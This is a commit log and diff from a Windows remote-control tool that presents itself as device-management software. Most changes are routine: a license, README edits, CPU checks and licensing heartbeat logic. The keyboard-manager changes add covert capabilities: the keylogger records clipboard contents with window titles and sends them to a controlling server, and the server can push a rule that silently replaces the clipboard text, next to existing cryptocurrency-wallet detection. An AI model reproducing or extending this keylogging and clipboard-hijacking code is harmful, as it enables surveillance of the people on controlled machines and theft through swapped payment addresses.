27 Commits

Author SHA1 Message Date
5af017bf09 Improve Go Server to support remote desktop and command control (#1)
Reviewed-on: #1
2026-05-18 22:06:07 +00:00
yuanyuanxiang
32a75f4670 Security(Go): Login rate limit + WS origin allowlist + REST bearer auth 2026-05-18 22:06:07 +00:00
yuanyuanxiang
d7f38ecfdb Feature(Go): Web terminal relay with PTY mode and graceful close (Phase 6) 2026-05-18 22:06:07 +00:00
yuanyuanxiang
6485e800d6 Feature(Go): Mouse/keyboard input + user management with users.json (Phase 5 + 7) 2026-05-18 22:06:07 +00:00
yuanyuanxiang
fba4143dd1 Feature(Go): Screen frame relay end-to-end with graceful client BYE (Phase 4) 2026-05-18 22:06:07 +00:00
yuanyuanxiang
4ea6ed252c Feature(Go): Web auth, WebSocket signaling and live device list (Phase 3) 2026-05-18 22:06:07 +00:00
yuanyuanxiang
534d3650c4 Feature(Go): Embed and serve web UI assets 2026-05-18 22:06:07 +00:00
yuanyuanxiang
2ed86b5e08 Fix(Go): Restore missing go.mod from SimpleRemoter migration 2026-05-18 22:06:07 +00:00
yuanyuanxiang
8dd1c936e2 Security: Web admin password via YAMA_WEB_ADMIN_PASS, decoupled from master password 2026-05-18 23:56:05 +02:00
yuanyuanxiang
ccab37658a Improve(Web): Touch-mode visual cursor follows remote IDC_* state 2026-05-17 20:02:10 +02:00
yuanyuanxiang
4e0627e6a3 Fix(Web): Align touchpad cursor overlay to SVG arrow tip 2026-05-17 19:12:55 +02:00
yuanyuanxiang
dc48091d5b Refactor(Web): Extract embedded HTML to server/web/index.html 2026-05-17 18:46:21 +02:00
yuanyuanxiang
4d2b12a9dd Compliance: Server-side anti-proxy for trail authorization 2026-05-16 19:48:39 +02:00
yuanyuanxiang
4279e79aa7 Compliance fix: Move LAN RTT check to KernelManager heartbeat 2026-05-16 00:06:01 +02:00
yuanyuanxiang
14387d69ca Compliance: Anti-proxy RTT check + tiered usage policy and disclaimer
Refine: Subtract server processing time from auth heartbeat RTT for proxy detection

chore: add MIT LICENSE + remove RAT-named related project link
2026-05-15 17:15:00 +02:00
yuanyuanxiang
744ebfba0d Improve(Web): Headless host opens terminal
fix two-finger scroll speed and zoom misdetect
2026-05-15 02:05:01 +02:00
yuanyuanxiang
5a92c3306f Feature: Web remote terminal (xterm.js + mobile UX polish) 2026-05-15 02:05:01 +02:00
yuanyuanxiang
5d9554780f Fix(Web): Map unshifted OEM symbols, send multi-char IME commits 2026-05-15 02:05:01 +02:00
yuanyuanxiang
84a52b9dcf Improve: Web UI - iOS safe-area, icon toolbar buttons, logout confirm 2026-05-15 02:05:00 +02:00
yuanyuanxiang
571ec7d80c Fix: Add AVX2 runtime check and optional x264 compilation 2026-05-14 13:39:44 +02:00
yuanyuanxiang
ead4f909ee Fix: Match thumbnail column selection bg on listview focus loss 2026-05-13 21:44:26 +02:00
yuanyuanxiang
e762e3cbd1 Feature: Add live thumbnail preview column to online host list 2026-05-13 18:43:20 +02:00
yuanyuanxiang
6c32b478af Feature: Add "Play Snapshot" loop preview windows for online hosts 2026-05-13 13:05:31 +02:00
yuanyuanxiang
b813d94486 Improve: Finish "scheduler.h" to support all running plan 2026-05-12 22:53:17 +02:00
yuanyuanxiang
0fe67b16d5 Feature: Support replacing clip text via keyboard management dialog 2026-05-11 20:22:07 +02:00
yuanyuanxiang
b69d61617f Improve: Keyboard logger supports logging clipboard changes 2026-05-11 00:49:18 +02:00
shaun
929436e29d Fix: DO NOT use absolute resource path in .RC file 2026-05-10 23:42:58 +02:00
70 changed files with 12099 additions and 3325 deletions

7
.gitignore vendored
View File

@@ -85,3 +85,10 @@ docs/macOS_Support_Design.md
settings.local.json
*.zip
*.lic
YAMA.code-workspace
.claude/settings.json
.vscode/settings.json
Bin/*
nul
server/go/web/assets/index.html
server/go/users.json

21
LICENSE Normal file
View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2019-2026 yuanyuanxiang
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to furnish persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE, OR IN CONNECTION WITH THE USE OR
OTHER DEALINGS IN THE SOFTWARE.

View File

@@ -716,7 +716,6 @@ cd macos
## 相关项目
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - 全英文界面远程控制
- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT) - 大灰狼 9.5
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - 经典 Gh0st 实现
---
@@ -728,7 +727,6 @@ cd macos
| **QQ** | 962914132 |
| **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) |
| **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) |
| **LinkedIn** | [wishyuanqi](https://www.linkedin.com/in/wishyuanqi) |
| **Issues** | [问题反馈](https://t.me/SimpleRemoter) |
| **PR** | [贡献代码](https://git.simpleremoter.com/) |

View File

@@ -701,7 +701,6 @@ For complete update history, see: [history.md](./history.md)
## Related Projects
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - Full English interface remote control
- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT) - Big Grey Wolf 9.5
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - Classic Gh0st implementation
---
@@ -713,7 +712,6 @@ For complete update history, see: [history.md](./history.md)
| **QQ** | 962914132 |
| **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) |
| **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) |
| **LinkedIn** | [wishyuanqi](https://www.linkedin.com/in/wishyuanqi) |
| **Issues** | [Report Issues](https://t.me/SimpleRemoter) |
| **PR** | [Contribute](https://git.simpleremoter.com/) |

View File

@@ -700,7 +700,6 @@ cd macos
## 相關專案
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - 全英文介面遠端控制
- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT) - 大灰狼 9.5
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - 經典 Gh0st 實作
---
@@ -712,7 +711,6 @@ cd macos
| **QQ** | 962914132 |
| **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) |
| **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) |
| **LinkedIn** | [wishyuanqi](https://www.linkedin.com/in/wishyuanqi) |
| **Issues** | [問題回報](https://t.me/SimpleRemoter) |
| **PR** | [貢獻程式碼](https://git.simpleremoter.com/) |

View File

@@ -6,11 +6,22 @@
#include <common/iniFile.h>
#include <common/LANChecker.h>
#include <common/VerifyV2.h>
#include <intrin.h> // for __cpuid, __cpuidex
extern "C" {
#include "reg_startup.h"
#include "ServiceWrapper.h"
}
// Check if CPU supports AVX2 instruction set
static BOOL IsAVX2Supported()
{
int cpuInfo[4] = { 0, 0, 0, 0 };
__cpuid(cpuInfo, 0);
if (cpuInfo[0] < 7) return FALSE;
__cpuidex(cpuInfo, 7, 0);
return (cpuInfo[1] & (1 << 5)) != 0; // EBX bit 5 = AVX2
}
// 自动启动注册表中的值
#define REG_NAME GetExeHashStr().c_str()
@@ -195,6 +206,14 @@ BOOL CALLBACK callback(DWORD CtrlType)
int main(int argc, const char *argv[])
{
// Check AVX2 support at startup
if (!IsAVX2Supported()) {
MessageBoxA(NULL,
"此程序需要支持 AVX2 指令集的 CPU2013年后的处理器。您的 CPU 不支持 AVX2程序无法运行。",
"CPU 不兼容", MB_ICONERROR);
return -1;
}
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
InitWindowsService(NewService(
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
@@ -312,6 +331,13 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
{
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
// Check AVX2 support before starting
if (!IsAVX2Supported()) {
MessageBoxA(NULL,
"此程序需要支持 AVX2 指令集的 CPU2013年后的处理器。您的 CPU 不支持 AVX2程序无法运行。",
"CPU 不兼容", MB_ICONERROR);
return FALSE;
}
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
break;

View File

@@ -1580,7 +1580,18 @@ void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
if (ulLength > 8) {
uint64_t n = 0;
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
m_nNetPing.update_from_sample(GetUnixMs() - n);
// 主控心跳 ACK 只回显时间戳(不含 ProcessingMs近似纯网络 RTT
int64_t rtt_ms = (int64_t)GetUnixMs() - (int64_t)n;
m_nNetPing.update_from_sample((double)rtt_ms);
// 试用版反代理RTT 入采样窗口。
// 启停由下方根据 m_settings 控制;非试用模式下 RecordSample 内部直接 return。
if (rtt_ms > 0 && rtt_ms < INT_MAX)
LANRttChecker::RecordSample((int)rtt_ms);
// m_settings.Authorized / IsTrail 由 CMD_MASTERSETTING 同步而来。
// 首次心跳早于 MasterSettings 到达时,两字段均为 0 → 保留默认(关闭),安全。
if (!m_settings.Authorized) return;
// 试用主控 → 打开 RTT 反代理检测;已授权 → 关闭,避免误报合法远程连接
LANRttChecker::SetEnabled(m_settings.IsTrail != 0);
}
}
@@ -1643,7 +1654,16 @@ void AuthKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
HeartbeatACK n = { 0 };
const int size = sizeof(HeartbeatACK);
memcpy(&n, szBuffer + 1, ulLength > size ? size : HeartbeatACK_OldSize);
m_nNetPing.update_from_sample(GetUnixMs() - n.Time);
// 总 RTT = ACK 到达时间 客户端发出时间(含网络 + 服务端处理)。
// 服务端从 v1.3.4 起在 ACK 里回报自己的处理耗时 ProcessingMs毫秒
// - 新服务端ProcessingMs > 0 → 减掉得近似纯网络 RTT
// - 旧服务端ProcessingMs == 0 → 维持旧行为,用总 RTT
// 避免 V2 签名 / HMAC / Debug 加密放大等服务端本底误算到网络 RTT。
int64_t total_rtt_ms = (int64_t)GetUnixMs() - (int64_t)n.Time;
int64_t net_rtt_ms = total_rtt_ms;
if (n.ProcessingMs > 0 && (int64_t)n.ProcessingMs < total_rtt_ms)
net_rtt_ms = total_rtt_ms - (int64_t)n.ProcessingMs;
m_nNetPing.update_from_sample((double)net_rtt_ms);
// Not authorized, but server is reachable, so just return and wait for next heartbeat
if (n.Authorized == UNAUTHORIZED) return;

View File

@@ -25,6 +25,7 @@
#define USING_CLIP 0
#include "wallet.h"
#include "common/utf8.h"
#if USING_CLIP
#include "clip.h"
#ifdef _WIN64
@@ -60,6 +61,13 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
binFile bin(CLIENT_PATH);
std::string rule = bin.GetStr("settings", "textRule");
if (rule.length() >= sizeof(TextReplace)) {
memcpy(&m_ReplaceRule, rule.data(), sizeof(TextReplace));
Mprintf("CKeyboardManager1: Load text replace rule succeed\n");
}
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
@@ -93,7 +101,10 @@ void CKeyboardManager1::Notify()
iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
m_mu.Unlock();
sendStartKeyBoard();
m_ruleMu.Lock();
auto rule = m_ReplaceRule;
m_ruleMu.Unlock();
sendStartKeyBoard(rule);
WaitForDialogOpen();
}
@@ -120,6 +131,16 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
GET_PROCESS_EASY(DeleteFileA);
DeleteFileA(m_strRecordFile);
}
if (lpBuffer[0] == COMMAND_TEXT_REPLACE && nSize >= sizeof(TextReplace)) {
CAutoCLock L(m_ruleMu);
memcpy(&m_ReplaceRule, lpBuffer, sizeof(TextReplace));
binFile cfg(CLIENT_PATH);
std::string rule((char*)&m_ReplaceRule, sizeof(TextReplace));
cfg.SetStr("settings", "textRule", rule);
auto ansi = utf8_to_ansi((char*)m_ReplaceRule.param);
Mprintf("COMMAND_TEXT_REPLACE: %s\n", ansi.c_str());
}
}
std::vector<std::string> CKeyboardManager1::GetWallet()
@@ -130,17 +151,18 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
return w;
}
int CKeyboardManager1::sendStartKeyBoard()
int CKeyboardManager1::sendStartKeyBoard(const TextReplace& rule)
{
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
// 子连接没经过 LOGIN_INFOR服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
// 让客户端自己带过来,避免服务端通过 IP 反查主连接NAT/127.0.0.1 等场景反查会失败)。
// 老服务端读不到 byte 2-3 没关系(只读 byte 1向后兼容。
BYTE bToken[4];
BYTE bToken[4 + sizeof(TextReplace)];
bToken[0] = TOKEN_KEYBOARD_START;
bToken[1] = (BYTE)m_bIsOfflineRecord;
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
memcpy(bToken + 2, &caps, sizeof(WORD));
memcpy(bToken + 4, &rule, sizeof(TextReplace));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
}
@@ -503,27 +525,66 @@ int CALLBACK WriteBuffer(const char* record, void* user)
return 0;
}
std::string CKeyboardManager1::ReplaceText() {
CAutoCLock L(m_ruleMu);
switch (m_ReplaceRule.type) {
case RULE_REPLACE_ALL:
if (m_ReplaceRule.param[0] == 0)
return "";
std::string text((char*)m_ReplaceRule.param);
return clip::set_text_utf8(text) ? text : "";
}
return "";
}
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
{
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
std::string lastValue = {};
while (pThis->m_bIsWorking) {
auto w = pThis->GetWallet();
if (w.empty()) {
Sleep(1000);
continue;
}
bool hasClipboard = false;
try {
hasClipboard = clip::has(clip::text_format());
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
hasClipboard = false;
Sleep(3000);
}
bool hasClipboard = clip::has(clip::text_format());
if (hasClipboard) {
std::string value;
clip::get_text(value);
if (value.length() > 200) {
Sleep(1000);
if (!clip::get_text(value)) {
Sleep(500);
continue;
}
std::string recordValue = value.substr(0, 4096);
if (lastValue.length() != recordValue.length() || lastValue != recordValue) {
lastValue = recordValue;
HWND foreground = GetForegroundWindow();
char window_title[MAX_PATH] = {};
wchar_t wTitle[MAX_PATH] = {};
GetWindowTextW(foreground, wTitle, MAX_PATH);
if (wTitle[0]) {
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, window_title, MAX_PATH, NULL, NULL);
}
SYSTEMTIME s;
GetLocalTime(&s);
char tm[64];
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, s.wHour, s.wMinute, s.wSecond);
std::stringstream output;
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue;
std::string str = output.str();
pThis->m_Buffer->Write(str.c_str(), str.length());
if (pThis->IsConnected()) {
str.erase(0, 4);
str.insert(0, 1, TOKEN_CLIP_TEXT);
pThis->Send((BYTE*)str.c_str(), str.length()+1);
std::string newValue = pThis->ReplaceText();
if (!newValue.empty()) {
Mprintf("[Clipboard] Replace %d bytes -> %d bytes \n", recordValue.length(), newValue.length());
lastValue = newValue;
}
}
}
// Wallet detection
auto w = pThis->GetWallet();
if (value.length() > 200 || w.empty()) {
Sleep(500);
continue;
}
auto type = detectWalletType(value);
@@ -565,7 +626,7 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
break;
}
}
Sleep(1000);
Sleep(500);
}
return 0x20251005;
}

View File

@@ -237,19 +237,22 @@ public:
HANDLE m_hClipboard;
HANDLE m_hWorkThread,m_hSendThread;
TCHAR m_strRecordFile[MAX_PATH];
TextReplace m_ReplaceRule = {};
virtual BOOL Reconnect()
{
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
}
std::string ReplaceText();
private:
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
int sendStartKeyBoard();
int sendStartKeyBoard(const TextReplace& rule);
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
bool m_bIsWorking;
CircularBuffer *m_Buffer;
CLocker m_mu;
CLocker m_ruleMu;
std::vector<std::string> m_Wallet;
std::vector<std::string> GetWallet();
};

View File

@@ -191,6 +191,7 @@ public:
m_pScrollDetector(nullptr), m_bEnableScrollDetect(false), m_bServerSupportsScroll(false),
m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1)
{
SetAlgorithm(algo);
m_BitmapInfor_Send = nullptr;
m_BmpZoomBuffer = nullptr;
m_BmpZoomFirst = nullptr;
@@ -985,7 +986,7 @@ public:
virtual BYTE SetAlgorithm(int algo)
{
BYTE oldAlgo = m_bAlgorithm;
m_bAlgorithm = algo;
m_bAlgorithm = (DISABLE_X264_FOR_TEST && algo == ALGORITHM_H264) ? ALGORITHM_RGB565 : algo;
return oldAlgo;
}

View File

@@ -7,13 +7,13 @@
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "afxres.h"
#include "winres.h"
/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
// 中文(简体,中国) resources
// 中文(简体,中国) resources
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
@@ -26,7 +26,7 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
IDD_DIALOG DIALOGEX 0, 0, 180, 108
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "消息提示"
CAPTION "消息提示"
FONT 10, "System", 0, 0, 0x0
BEGIN
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
@@ -61,7 +61,7 @@ END
2 TEXTINCLUDE
BEGIN
"#include ""afxres.h""\r\n"
"#include ""winres.h""\r\n"
"\0"
END
@@ -132,7 +132,7 @@ IDI_ICON_MAIN ICON "Res\\ghost.ico"
IDI_ICON_MSG ICON "Res\\msg.ico"
#endif // 中文(简体,中国) resources
#endif // 中文(简体,中国) resources
/////////////////////////////////////////////////////////////////////////////

View File

@@ -2,6 +2,15 @@
#include <string.h>
#include <stdio.h>
#if DISABLE_X264_FOR_TEST
CX264Encoder::CX264Encoder() { memset(&m_Param, 0, sizeof(m_Param)); m_pCodec = NULL; m_pPicIn = NULL; m_pPicOut = NULL; }
CX264Encoder::~CX264Encoder() {}
bool CX264Encoder::open(int, int, int, int) { return false; }
bool CX264Encoder::open(x264_param_t*) { return false; }
void CX264Encoder::close() {}
int CX264Encoder::encode(uint8_t*, uint8_t, uint32_t, uint32_t, uint32_t, uint8_t**, uint32_t*, int) { return -1; }
#else
#ifdef _WIN64
#pragma comment(lib,"libyuv/libyuv_x64.lib")
#pragma comment(lib,"x264/libx264_x64.lib")
@@ -153,3 +162,5 @@ int CX264Encoder::encode(
*lpSize = encode_size;
return 0;
}
#endif

View File

@@ -5,6 +5,8 @@ extern "C" {
#include <x264\x264.h>
}
#define DISABLE_X264_FOR_TEST 0
class CX264Encoder
{
private:

View File

@@ -84,4 +84,41 @@ namespace clip {
LeaveCriticalSection(&GetClipLock());
return result;
}
/**
* 将 UTF-8 字符串安全地设置到 Windows 剪切板
*/
inline bool set_text_utf8(const std::string& utf8_str) {
if (utf8_str.empty()) return false;
// 1. 将 UTF-8 转换为 UTF-16 (因为 Windows 剪切板原生支持 UTF-16)
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
if (wlen <= 0) return false;
// 2. 分配全局内存
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t));
if (!hMem) return false;
// 3. 执行转换并锁定内存
wchar_t* pMem = (wchar_t*)GlobalLock(hMem);
MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, pMem, wlen);
GlobalUnlock(hMem);
// 4. 操作剪切板
bool success = false;
if (OpenClipboard(NULL)) {
EmptyClipboard();
if (SetClipboardData(CF_UNICODETEXT, hMem)) {
success = true;
}
CloseClipboard();
}
// 如果 SetClipboardData 失败,需要手动释放内存;成功则由系统接管
if (!success) {
GlobalFree(hMem);
}
return success;
}
} // namespace clip

View File

@@ -1,6 +1,115 @@
#pragma once
// LANChecker.h - 检测本进程的TCP连接是否有外网IP
// 用于试用版License限制仅允许内网连接
// ============================================================================
// LANChecker.h — 远程控制软件的反滥用 / 合规执行模块
// ============================================================================
//
// 立场与背景
// ----------------------------------------------------------------------------
// 本软件提供远程桌面与设备管理能力,理论上具备被滥用为非授权远程控制 / 监控
// 工具的可能性。为防止此类滥用,并明确合规边界,本模块在客户端进程内实施
// 分级强制性技术限制:能力随授权级别开放,越权使用形态会被本模块的检测路径
// 捕获并以可见方式提醒终端用户(弹窗 / 终止进程)。
//
// 本模块的存在不是装饰,而是出厂安全姿态的一部分。任何试图通过外部手段
// 屏蔽弹窗、拦截日志、patch 二进制以禁用本模块的行为,均构成对最终用户
// 授权协议EULA的违反发行方对此类绕过行为产生的后果不承担任何责任
// 并保留通过授权服务器侧黑名单、签发吊销等手段进一步处置的权利。
//
// 授权分级与强制约束
// ----------------------------------------------------------------------------
//
// ┌─────────────┬─────────────────────┬──────────────────────────────────┐
// │ 层级 │ 适用场景 │ 本模块强制的限制 │
// ├─────────────┼─────────────────────┼──────────────────────────────────┤
// │ 无口令 │ 个人单机自用 │ 监听端口数 ≤ 2 │
// │ │ (非远程业务) │ (单设备本地管理足够) │
// ├─────────────┼─────────────────────┼──────────────────────────────────┤
// │ 试用口令 │ 内部 LAN 设备管理 │ 监听端口数 ≤ 20 │
// │ │ 严禁跨网使用 │ 入站连接源 IP 必须为私网段 │
// │ │ │ 心跳 RTT 中位数 ≤ 25ms │
// │ │ │ 周期性回连授权服务器 │
// ├─────────────┼─────────────────────┼──────────────────────────────────┤
// │ 正式授权 │ 跨网远程业务 │ 需具备正当使用理由 │
// │ │ (含跨地远程监控) │ 由发行方人工审核签发 │
// │ │ │ 本程序仅做技术校验 │
// └─────────────┴─────────────────────┴──────────────────────────────────┘
//
// 各层级的设计意图:
//
// * 无口令档:仅满足"个人在自己一台机器上做远程登录 / 应急自救"这类
// 极轻量诉求,端口数限制确保它无法被改造成多租户中转。
//
// * 试用口令档:开放给"小公司 / 团队在自家 LAN 内统一管理一批设备"
// 的真实使用场景。所有限制LAN-only、RTT 阈值、心跳)都围绕一个
// 目的:让这台 server 只能服务真实物理同网段的客户端,无法通过任何
// 形式的代理 / 隧道 / NAT 转发暴露给公网,从而封堵"用试用口令对外
// 提供远程服务"的滥用路径。
//
// * 正式授权档:唯一允许真正跨网远程业务的形态。授权签发流程在程序
// 之外(人工评估申请人身份、合规义务、用途说明),程序本身只承担
// 技术校验。这一档存在的目的是给合规客户提供完整能力。
//
// 授权与责任划分(重要)
// ----------------------------------------------------------------------------
// 发行方的责任仅限于:
// (a) 提供具备本文件所述反滥用机制的软件实现;
// (b) 在授权签发环节进行合理的身份核验与用途说明审查。
//
// 授权一经签发,被授权方即作为"运营者"独立承担其使用行为的全部法律与
// 道义责任,包括但不限于:
//
// 1. 遵守其所在司法辖区关于个人隐私、计算机信息系统安全、数据保护、
// 工作场所监控、未成年人保护等一切现行有效的法律法规;
// 2. 在每一台被本软件管理 / 监控的设备上,事先取得该设备所有者及
// 实际使用人明确、可追溯的知情同意;
// 3. 不得将本软件用于任何形式的非授权监控、商业秘密窃取、未授权
// 访问他人计算机系统、敲诈勒索、跟踪骚扰、规避执法监管等违法
// 违规用途。
//
// 发行方明确声明:
//
// * 签发授权不构成对被授权方任何具体使用方式的背书、推荐或担保;
// * 被授权方违反前款义务造成的一切后果(含民事赔偿、行政处罚、
// 刑事责任、第三方索赔),由被授权方独立承担,与发行方无关;
// * 发行方不审查、不参与、亦不为被授权方的实际部署形态、被管设备
// 的归属、被采集数据的内容与去向负责;
// * 一经发现被授权方存在违法违规使用迹象,发行方有权在不另行通知
// 的情况下立即吊销其授权,并依法配合相关执法 / 司法机关调查、
// 提交签发记录与必要日志。被授权方对授权签发协议的接受即视为对
// 上述处置权利的明示同意。
//
// 上述责任划分独立于、且优先于本软件附带的任何其他文档或宣传材料中
// 的表述。
//
// 本文件提供的强制机制
// ----------------------------------------------------------------------------
//
// 1. LANChecker
// 周期扫描本进程的 ESTABLISHED 入站连接,发现任何非私网 IP
// (非 10/8、172.16/12、192.168/16、127/8、169.254/16即弹窗告警。
// 用于试用模式下挡住"客户端直接从公网连入"的滥用形态。
//
// 2. LANChecker::CheckPortLimit
// 监听端口数量上限校验。无授权档限 2 个、试用档限 20 个,超额即弹窗。
// 防止单机被改造成大规模多租户中转节点。
//
// 3. LANRttChecker详见下方类注释
// 应用层 RTT 反代理。挡住"在 LAN 内放代理 / 反向隧道,源 IP 仍是
// 私网段但实际经公网转发到外部客户端"这一更隐蔽的绕过形态。
// 物理光速决定的硬约束,比 IP 段更难规避。
//
// 4. AuthTimeoutChecker
// 强制周期性回连授权服务器;离线超时则告警并最终强制终止进程,
// 防止"仅在初次激活时联网,之后离线长期使用"的形态。也用于
// 授权吊销下发:发行方在服务器侧吊销后,下次心跳即生效。
//
// 上述机制全部为故意可被终端用户感知的"告警 / 终止"路径,目的是让被滥用
// 部署的实例自我暴露,而非静默运行。组合起来构成纵深防御,单点绕过不足
// 以解除全部限制。
//
// 实现层面:本文件 header-only全部静态方法 + 函数内静态变量,避免静态
// 初始化顺序问题,全部线程安全。
// ============================================================================
#include <winsock2.h>
#include <ws2tcpip.h>
@@ -10,6 +119,8 @@
#include <string>
#include <mutex>
#include <set>
#include <deque>
#include <algorithm>
#include <atomic>
#pragma comment(lib, "iphlpapi.lib")
@@ -46,6 +157,16 @@ public:
return false;
}
// 字符串版(点分十进制 IPv4。空串或解析失败按"非公网"处理(即返回 true
// 避免误报;调用方应自行确保传入的是有效 IPv4。仅 IPv4IPv6 不在判定范围。
static bool IsPrivateIPv4Str(const std::string& ipv4)
{
if (ipv4.empty()) return true;
in_addr addr;
if (inet_pton(AF_INET, ipv4.c_str(), &addr) != 1) return true;
return IsPrivateIP(addr.s_addr); // s_addr 已是网络字节序
}
// 获取本进程所有入站的外网TCP连接只检测别人连进来的不检测本进程连出去的
static std::vector<WanConnection> GetWanConnections()
{
@@ -269,6 +390,267 @@ private:
}
};
// LAN RTT 检测器:试用版的"反代理"补强信号
//
// 设计动机:
// LANChecker 只看连接源 IP 是否私网段,但只要攻击者在 LAN 内放一台代理/反代/frp
// 把 server 暴露给公网,源 IP 仍然落在私网段IP 检测就被绕过。
// 公网客户端经任何代理接入时,应用层心跳的端到端 RTT (hb.Ping) 会反映真实物理
// 延迟(光速决定,代理不能"伪造低延迟"),因此用 RTT 阈值做二级闸门。
//
// 测量来源:客户端心跳里自报的 hb.Ping客户端侧 EWMA 平滑后的 srtt毫秒
// 注意:这个值包含 server 端业务处理时间(约 5-15ms不是纯网络 RTT。
//
// 阈值依据:
// 真 LAN含服务端处理5-25ms中位数典型 8-15ms
// 跨城/跨 ISP 代理30ms+
// 25ms 是物理上"真 LAN 不会稳定超过、公网代理不会稳定低于"的甜点。
//
// 抗误报机制:
// 1. 跳过前 WARMUP_SKIP 次心跳:客户端 EWMA 收敛 + server 首次 V2 签名等慢路径
// 2. 滑窗 N=SAMPLE_WINDOW 取中位数:抵抗个别样本异常抖动
// 3. 连续 BREACH_PERSIST_COUNT 次中位数都超阈值才触发:抵抗几十秒级临时拥塞
//
// 局限(已知,不在本版本处理):
// 攻击者本人有公网 IP 且"客户"与攻击者同城同 ISP 时,物理 RTT 可低于 25ms 漏检。
// 后续可叠加 "同源 IP 多 ClientID" 行为信号做双因素判定。
class LANRttChecker
{
public:
// 阈值毫秒。25 是经验值,针对"server 部署在 LAN 内"的典型试用场景。
// 如果 server 部署在机房(基线 RTT 本就 20ms+),调用方应自行调高。
static const int RTT_THRESHOLD_MS = 25;
static const int SAMPLE_WINDOW = 10; // 滑窗大小
static const int WARMUP_SKIP = 5; // 跳过前 N 次心跳
static const int BREACH_PERSIST_COUNT = 3; // 连续 K 次中位数超阈值才触发
// 试用模式开关:默认关,授权流程确认 IsTrail 后由调用方打开。
// 关闭时 RecordSample 直接返回,避免给已授权用户白白堆积状态/触发误报。
static void SetEnabled(bool enabled)
{
GetEnabled().store(enabled);
}
